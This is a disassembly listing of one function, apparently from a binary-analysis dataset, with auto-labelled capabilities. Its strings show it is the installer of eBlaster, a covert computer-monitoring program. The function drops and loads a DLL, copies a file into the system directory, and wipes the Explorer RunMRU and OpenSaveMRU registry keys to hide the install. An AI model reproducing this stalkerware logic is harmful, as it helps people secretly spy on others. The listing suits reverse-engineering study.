Function at 0x140090c40
Capabilities:
Check os version
Copy file
Delete file
Get common file path

Disassembly:
mov rax, rsp
push r13
push r14
push r15
sub rsp, 0x670
mov qword [rsp + 0x98], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov rax, qword [0x1401620c0]
xor rax, rsp
mov qword [rsp + 0x660], rax
call fcn.1400b59a0
test eax, eax
je 0x140090ca2
mov edx, SafeArrayGetElement
lea r8d, [rdx - 0x13]
lea rcx, str.eBlaster_can_not_be_installed_on_64_bit_operating_systems
call fcn.140007590
nop
jmp 0x140091896
lea rbx, [0x140167140]
mov rdx, rbx
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x140090ccf
movzx eax, word [0x1400fdbd8]
mov word [rbx], ax
movzx eax, byte [0x1400fdbda]
mov byte [rbx + 2], al
mov rcx, rbx
call fcn.1400b3390
mov r9, rbx
xor r8d, r8d
lea rdx, [0x1400fde7c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
mov dword [rcx + rbx - 4], 0x6c6c64
mov rdx, rbx
mov ecx, 0x1392
call fcn.14008dc00
xor edx, edx
mov rcx, rbx
call fcn.1400b8880
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x140167138], rax
test rax, rax
jne 0x140090d89
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [0x140160e18]
mov qword [rsp + 0x50], rdx
lea rdx, [0x1400e4ec8]
lea rcx, [rsp + 0x50]
call fcn.14002d430
xor r8d, r8d
mov edx, 0xe008
lea rcx, [rsp + 0x50]
call fcn.14002e500
nop
mov edx, 8
lea r8d, [rdx - 7]
mov rcx, qword [rsp + 0x50]
call fcn.140007590
nop
lea rcx, [rsp + 0x50]
call fcn.14002d2c0
nop
jmp 0x140091896
cmp dword [0x140167cd8], 0
jne 0x140090e76
mov edx, 0x104
lea rcx, [0x1401672d0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [0x1401672d0]
call fcn.1400b3390
lea rdi, [0x1401672d0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
lea rbx, str.ocxdrv32.dll
xor ecx, ecx
nop
movzx eax, byte [rbx + rcx]
mov byte [rdi + rcx - 1], al
add rcx, 1
test al, al
jne 0x140090dd0
lea rcx, [0x1401672d0]
call fcn.1400b6a90
test eax, eax
je 0x140090e68
xor r9d, r9d
mov esi, 1
mov r8d, esi
lea rdx, [0x1400fde74]
mov rcx, rbx
call fcn.1400894c0
mov edx, 0x104
lea rcx, [0x1401673e0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea rcx, [0x1401673e0]
call fcn.1400b3390
lea rdi, [0x1401673e0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
xor ecx, ecx
nop
nop
movzx eax, byte [rbx + rcx]
mov byte [rdi + rcx - 1], al
add rcx, rsi
test al, al
jne 0x140090e40
xor r8d, r8d
lea rdx, [0x1401673e0]
lea rcx, [0x1401672d0]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
jmp 0x140090e7b
mov byte [0x1401672d0], 0
mov esi, 1
jmp 0x140090e7b
mov esi, 1
lea rcx, [0x1400fcfb8]
call fcn.140095ee0
mov rbx, rax
test rax, rax
je 0x140091824
mov rcx, rax
call fcn.14008cbd0
test eax, eax
jne 0x140090eaf
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
nop
jmp 0x140091896
mov rdx, qword [0x140167138]
mov rcx, rbx
call fcn.14008cd20
test eax, eax
jne 0x140090ed2
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
nop
jmp 0x140091896
cmp dword [0x140167dec], 0
jne 0x140090ee4
cmp dword [0x140161bd8], 0
je 0x140090f07
call fcn.140009870
cmp eax, 2
jne 0x140090efe
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
nop
jmp 0x140091896
cmp dword [0x140167dec], 0
jne 0x140090f10
cmp dword [0x140161bdc], 0
je 0x140090f2a
call fcn.140009960
cmp eax, 2
jne 0x140090f2a
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
nop
jmp 0x140091896
xor r12d, r12d
mov qword [rsp + 0x70], r12
xor r13d, r13d
mov qword [rsp + 0x78], r13
mov byte [rsp + 0x440], r12b
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x441]
call fcn.1400c2840
mov byte [rsp + 0x550], r12b
xor edx, edx
mov r8d, 0x103
lea rcx, [rsp + 0x551]
call fcn.1400c2840
xor r14d, r14d
mov dword [rsp + 0x38], r14d
mov rax, qword [rbx]
mov edx, 0xc0
mov rcx, rbx
call qword [rax + 0x88]
mov byte [rsp + 0x420], r12b
xor eax, eax
mov qword [rsp + 0x421], rax
mov qword [rsp + 0x429], rax
mov byte [rsp + 0x431], al
mov rdx, qword [rbx + 0x298]
add rdx, 0x2570
cmp byte [rdx], al
je 0x140090fd2
lea r8d, [r12 + 0x11]
lea rcx, [rsp + 0x420]
call fcn.1400c2b80
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x140091012
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 6
jb 0x140091012
mov rcx, qword [rbx + 0x298]
add rcx, 0x624
cmp byte [rcx], r12b
je 0x140091012
call fcn.1400b6a90
mov ecx, dword [0x140167de8]
test eax, eax
cmove ecx, esi
mov dword [0x140167de8], ecx
mov rdx, qword [0x140167678]
mov rcx, rbx
call fcn.14008cff0
mov dword [rsp + 0x20], eax
cmp eax, 1
jne 0x1400917dd
lea rdx, [rsp + 0x420]
mov rcx, rbx
call fcn.140088e30
mov rcx, rbx
call fcn.14008edd0
mov edi, eax
mov dword [rsp + 0x20], eax
cmp dword [0x140161bd0], r12d
je 0x140091083
cmp eax, 1
jne 0x1400917dd
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x550]
lea rcx, [rsp + 0x440]
call fcn.14008d1d0
mov edi, eax
mov dword [rsp + 0x20], eax
mov r14d, dword [rsp + 0x38]
cmp edi, 1
jne 0x1400917dd
cmp dword [0x140167dec], r12d
jne 0x1400910c0
cmp r14d, edi
je 0x1400910c0
mov rax, qword [rbx]
mov edx, 0xffffffbf
mov rcx, rbx
call qword [rax + 0x88]
mov r12, rbx
mov qword [rsp + 0x70], rbx
mov rcx, rbx
call fcn.140088980
jmp 0x14009124d
call qword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jb 0x14009112d
mov rax, qword [0x140160e18]
mov qword [rsp + 0x60], rax
lea rdx, [0x1400e4ec8]
lea rcx, [rsp + 0x60]
call fcn.14002d430
xor r8d, r8d
mov edx, 0xc0
lea rcx, [rsp + 0x60]
call fcn.14002e500
nop
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
mov r8, qword [rsp + 0x60]
mov edx, 0x30
call fcn.1400b5a00
mov edi, 2
mov dword [rsp + 0x20], edi
lea rcx, [rsp + 0x60]
call fcn.14002d2c0
jmp 0x1400917dd
lea r8, [rsp + 0x440]
lea rdx, [0x1400fcfb8]
mov ecx, 4
call fcn.140095c10
mov r13, rax
mov qword [rsp + 0x78], rax
test rax, rax
je 0x140091169
mov rdx, qword [rax]
mov rcx, rax
call qword [rdx + 0xd0]
mov r12, r13
mov qword [rsp + 0x70], r13
jmp 0x140091172
mov edi, 2
mov dword [rsp + 0x20], edi
test r13, r13
je 0x140091248
cmp edi, 1
jne 0x140091281
cmp dword [0x140167dec], 0
jne 0x140091196
cmp r14d, edi
jne 0x14009124d
mov rcx, qword [rbx + 0x298]
add rcx, 0x2685
mov rdx, qword [r13 + 0x298]
add rdx, 0x2685
nop
nop
nop
nop
movzx eax, byte [rcx]
mov byte [rdx], al
add rcx, 1
add rdx, 1
test al, al
jne 0x1400911c0
mov rcx, qword [rbx + 0x298]
add rcx, 0x2581
mov rdx, qword [r13 + 0x298]
add rdx, 0x2581
nop
movzx eax, byte [rcx]
mov byte [rdx], al
add rcx, 1
add rdx, 1
test al, al
jne 0x1400911f0
mov rdx, qword [rbx + 0x298]
add rdx, 0x2570
mov rcx, qword [r13 + 0x298]
add rcx, 0x2570
mov r8d, 0x10
call fcn.1400c2b80
mov rdx, qword [r13 + 0x298]
mov byte [rdx + 0x2580], 0
mov rax, qword [r13]
mov edx, 0x40
mov rcx, r13
call qword [rax + 0xa0]
cmp edi, 1
jne 0x140091281
mov rcx, r12
call fcn.140090210
lea r8, [rsp + 0x420]
mov edx, r14d
mov rcx, r12
call fcn.140090880
mov edi, eax
mov dword [rsp + 0x20], eax
cmp eax, 1
jne 0x140091281
mov rcx, r12
call fcn.1400889f0
mov edi, eax
mov dword [rsp + 0x20], eax
test r12, r12
je 0x140091298
mov rax, qword [r12 + 0x298]
mov dword [rax + 0x1688], 0xc12
test r13, r13
je 0x1400912e7
cmp edi, 1
jne 0x1400917dd
cmp dword [0x140167dec], 0
jne 0x1400912b4
cmp r14d, edi
jne 0x140091307
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0xd8]
xor ecx, ecx
call fcn.1400c2a40
mov rdi, qword [r13]
mov rdx, rax
mov rcx, r13
call qword [rdi + 0x110]
lea rcx, [rsp + 0x440]
call fcn.140006cc0
jmp 0x1400912f0
cmp edi, 1
jne 0x1400917dd
cmp dword [0x140167dec], 0
jne 0x14009179a
cmp r14d, 1
je 0x14009179a
mov dword [rsp + 0x28], esi
mov r15d, esi
mov dword [rsp + 0x68], esi
mov rax, qword [r12 + 0x298]
cmp qword [rax + 0x27c8], 0
jle 0x14009138a
call fcn.140031210
test eax, eax
je 0x140091381
xor edi, edi
mov r15d, edi
mov dword [rsp + 0x68], edi
cmp dword [0x140167ef4], edi
jne 0x14009138c
mov rax, qword [0x140160e18]
mov qword [rsp + 0x30], rax
mov r8, qword [0x140167138]
mov edx, 0x47d
lea rcx, [rsp + 0x30]
call fcn.14002e500
mov r8, qword [rsp + 0x30]
lea edx, [rdi + 0x30]
mov rcx, qword [0x140167898]
call fcn.1400b5a00
nop
lea rcx, [rsp + 0x30]
call fcn.14002d2c0
jmp 0x14009138c
call fcn.1400312c0
xor edi, edi
jmp 0x14009138c
xor edi, edi
mov rcx, r12
call fcn.140088d70
mov rdx, qword [r12 + 0x298]
cmp byte [rdx + 0x282c], 0
jne 0x1400913bf
mov r8d, esi
mov edx, SafeArrayUnaccessData
lea rcx, str.Setup_Error:_No_destination_email_address.
call fcn.140007590
nop
jmp 0x140091896
cmp dword [0x140167ef8], 0
jne 0x140091767
test r15d, r15d
je 0x1400917dd
mov edx, 0x7f02
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorA]
mov rcx, rax
call qword [sym.imp.USER32.dll_SetCursor]
mov qword [rsp + 0x30], rax
mov r8, qword [0x140167678]
mov rdx, qword [0x140167898]
lea rcx, [rsp + 0xa0]
call fcn.14004e8c0
nop
mov edx, 0xe0e0e0
lea rcx, [rsp + 0xa0]
call fcn.14004ea30
mov dword [rsp + 0x80], 0xa7
mov dword [rsp + 0x84], 0x406
mov dword [rsp + 0x88], 0x405
mov dword [rsp + 0x8c], 0x476
xor eax, eax
mov dword [rsp + 0x90], eax
lea r8d, [rax + 5]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xa0]
call fcn.14004e9b0
mov edx, 0x64
lea rcx, [rsp + 0xa0]
call fcn.14004efb0
lea rdx, str.Installing_eBlaster
lea rcx, [rsp + 0xa0]
call fcn.14004eb00
lea rdx, str.Initializing
lea rcx, [rsp + 0xa0]
call fcn.14004f160
cmp dword [0x140167ef4], 0
jne 0x1400914be
mov edx, esi
lea rcx, [rsp + 0xa0]
call fcn.14004f2e0
mov r8d, esi
mov edx, 0xa
lea rcx, [rsp + 0xa0]
call fcn.14004f3e0
lea rdx, [0x1400fde10]
lea rcx, [rsp + 0xa0]
call fcn.14004f160
mov dword [rsp + 0x24], edi
lea rdx, [rsp + 0x24]
mov rcx, r12
call fcn.14008f8b0
test eax, eax
jne 0x140091746
mov r8d, esi
lea edx, [rax + 0x14]
lea rcx, [rsp + 0xa0]
call fcn.14004f3e0
mov rcx, r12
call fcn.14008a180
mov rcx, r12
call fcn.14008b1d0
mov rdx, qword [r12 + 0x298]
mov dword [rdx + 0x27d0], 0xa8
mov rcx, qword [r12 + 0x298]
add rcx, 0x728
call fcn.1400b26b0
mov rcx, qword [r12 + 0x298]
mov dword [rcx + 0x27d4], eax
mov rax, qword [r12 + 0x298]
mov dword [rax + 0x27d8], edi
mov rax, qword [r12 + 0x298]
mov dword [rax + 0x5388], edi
lea rdx, str.Initializing_Configuration
lea rcx, [rsp + 0xa0]
call fcn.14004f160
mov rdx, qword [r12 + 0x298]
cmp qword [rdx + 0x14b0], 0
jne 0x14009160b
mov rax, qword [0x140160e18]
mov qword [rsp + 0x48], rax
mov r8, qword [0x140167138]
mov edx, 0x45b
lea rcx, [rsp + 0x48]
call fcn.14002e500
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rdx - 0x10]
add rcx, 1
call fcn.1400c7310
mov rcx, qword [r12 + 0x298]
mov qword [rcx + 0x14b0], rax
mov rcx, qword [rsp + 0x48]
mov rax, qword [r12 + 0x298]
mov rdx, qword [rax + 0x14b0]
movzx eax, byte [rcx]
mov byte [rdx], al
add rcx, 1
add rdx, 1
test al, al
jne 0x1400915f0
lea rcx, [rsp + 0x48]
call fcn.14002d2c0
mov dword [rsp + 0x6c], edi
cmp dword [0x140167de4], 0
je 0x140091647
cmp dword [0x140167de8], 0
jne 0x140091647
mov rcx, qword [r12 + 0x298]
lea rdx, [rcx + 0x1aa0]
add rcx, 0x624
mov r8, r12
call fcn.14008a290
mov dword [rsp + 0x6c], eax
test eax, eax
jne 0x1400916a4
mov r8, r12
lea rdx, [0x140167ce0]
lea rcx, [0x140167570]
call fcn.14008e950
mov rcx, qword [r12 + 0x298]
add rcx, 0x624
call fcn.1400b6a90
test eax, eax
je 0x1400916a4
mov rcx, qword [r12 + 0x298]
add rcx, 0x624
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1400916a4
mov rcx, qword [r12 + 0x298]
add rcx, 0x624
xor edx, edx
call fcn.1400b8880
mov r8d, esi
mov edx, 0xa
lea rcx, [rsp + 0xa0]
call fcn.14004f3e0
mov edx, esi
mov rcx, r12
call fcn.140071f70
mov rdx, qword [r12]
mov rcx, r12
call qword [rdx + 0xd8]
xor ecx, ecx
call fcn.1400c2a40
mov rdi, qword [r12]
mov rdx, rax
mov rcx, r12
call qword [rdi + 0x110]
xor edx, edx
mov rcx, r12
call fcn.140071f70
lea rcx, [rsp + 0xa0]
call fcn.140090060
mov r8d, esi
mov edx, SafeArrayGetElement
lea rcx, [rsp + 0xa0]
call fcn.14004f3e0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1401672d0], 0
je 0x14009173c
mov byte [0x1401673e0], 0
xor edx, edx
lea rcx, [0x1401672d0]
call fcn.1400b8880
mov edi, dword [rsp + 0x24]
mov dword [rsp + 0x28], edi
jmp 0x14009174a
mov dword [rsp + 0x28], edi
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_SetCursor]
nop
lea rcx, [rsp + 0xa0]
call fcn.14004f290
test edi, edi
je 0x1400917dd
test r15d, r15d
je 0x1400917dd
mov edx, r14d
mov rcx, r12
call fcn.14008d940
xor ecx, ecx
call fcn.1400075f0
add r12, 8
je 0x1400917dd
mov rcx, r12
call fcn.1400b6a90
test eax, eax
je 0x1400917dd
mov rcx, r12
call fcn.1400b7a30
jmp 0x1400917dd
cmp dword [0x140161bd4], 0
je 0x1400917dd
mov r8, qword [0x140167138]
mov edx, r14d
mov rcx, r12
call fcn.140088ad0
mov dword [rsp + 0x20], eax
cmp eax, 1
jne 0x1400917dd
mov r9d, r14d
lea r8, [rsp + 0x550]
lea rdx, [rsp + 0x440]
mov rcx, r12
call fcn.14008f190
mov dword [rsp + 0x20], eax
cmp dword [0x140167dec], 0
jne 0x1400917fa
cmp r14d, 1
jne 0x1400917fa
lea rcx, [rsp + 0x440]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test r13, r13
je 0x14009180a
mov rax, qword [r13]
mov edx, esi
mov rcx, r13
call qword [rax]
mov qword [rsp + 0x78], 0
test rbx, rbx
je 0x140091872
mov rax, qword [rbx]
mov edx, esi
mov rcx, rbx
call qword [rax]
jmp 0x140091872
mov rax, qword [0x140160e18]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400e4ec8]
lea rcx, [rsp + 0x40]
call fcn.14002d430
xor r8d, r8d
mov edx, 0xe009
lea rcx, [rsp + 0x40]
call fcn.14002e500
nop
mov r8d, esi
mov edx, 4
mov rcx, qword [rsp + 0x40]
call fcn.140007590
nop
lea rcx, [rsp + 0x40]
call fcn.14002d2c0
nop
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU
call fcn.140009110
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSaveMRUexe
call fcn.140009110
lea rcx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerComDlg32OpenSaveMRU
call fcn.140009110
cmp byte [0x1401673e0], 0
je 0x1400918be
lea rcx, [0x1401673e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x1400918be
xor edx, edx
lea rcx, [0x1401673e0]
call fcn.1400b8880
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, qword [0x140167898]
call qword [sym.imp.USER32.dll_PostMessageA]
mov rcx, qword [rsp + 0x660]
xor rcx, rsp
call fcn.1400c2a20
lea r11, [rsp + 0x670]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret